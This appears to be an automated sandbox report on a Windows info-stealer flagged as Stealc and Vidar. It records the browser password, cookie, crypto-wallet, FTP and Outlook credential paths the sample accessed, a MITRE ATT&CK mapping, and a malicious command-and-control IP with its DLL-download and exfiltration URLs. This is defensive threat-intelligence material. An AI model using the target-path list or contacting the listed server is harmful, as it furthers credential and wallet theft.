Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.@

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2152965180.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3660, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	34 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll_	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpW	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dlla	17%	Virustotal		Browse
http://185.215.113.37/Z	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpZ	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpom	17%	Virustotal		Browse
http://185.215.113.37/C	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll(	17%	Virustotal		Browse
http://185.215.113.37.com	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php6	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpwser	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpla	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll_	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dlla	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HCGDGIDGIJKKEBGDAECA.0.dr	false		unknown
http://185.215.113.37/Z	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpW	file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php)pF	file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll(	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmp	true	17%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllv	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/C	file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmp	true	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php)PG	file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpla	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://support.mozilla.org	JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451841085.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533088
Start date and time:	2024-10-14 13:07:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 80 Number of non-executed functions: 106
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	ND2WP0Fip7.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
